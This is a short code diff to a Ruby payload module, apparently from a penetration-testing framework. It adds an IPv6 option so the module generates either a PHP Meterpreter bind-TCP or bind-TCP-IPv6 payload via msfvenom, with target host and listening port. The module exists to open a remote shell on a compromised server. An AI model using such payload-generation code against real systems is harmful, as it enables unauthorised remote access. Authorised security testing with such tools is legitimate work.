Add option to use the IPV6 payload

Author: rastating

payloads/meterpreter_bind_tcp.rb

@@ -20,6 +20,12 @@ def initialize
           required: true,
           default: 4444,
           desc: 'The port being used to listen for incoming connections'
+        ),
+        BooleanOption.new(
+          name: 'use_ipv6',
+          required: true,
+          default: false,
+          desc: 'Bind to an IPv6 address'
         )
       ])
     end
@@ -32,12 +38,24 @@ def lport
       normalized_option_value('lport')
     end
 
+    def use_ipv6
+      normalized_option_value('use_ipv6')
+    end
+
     def raw
       msfvenom_payload
     end
 
+    def msfvenom_payload_name
+      if use_ipv6
+        'php/meterpreter/bind_tcp_ipv6'
+      else
+        'php/meterpreter/bind_tcp'
+      end
+    end
+
     def prepare(mod)
-      generate_msfvenom_payload(mod, 'php/meterpreter/bind_tcp', "RHOST=#{host}", "LPORT=#{lport}")
+      generate_msfvenom_payload(mod, msfvenom_payload_name, "RHOST=#{host}", "LPORT=#{lport}")
     end
   end
 end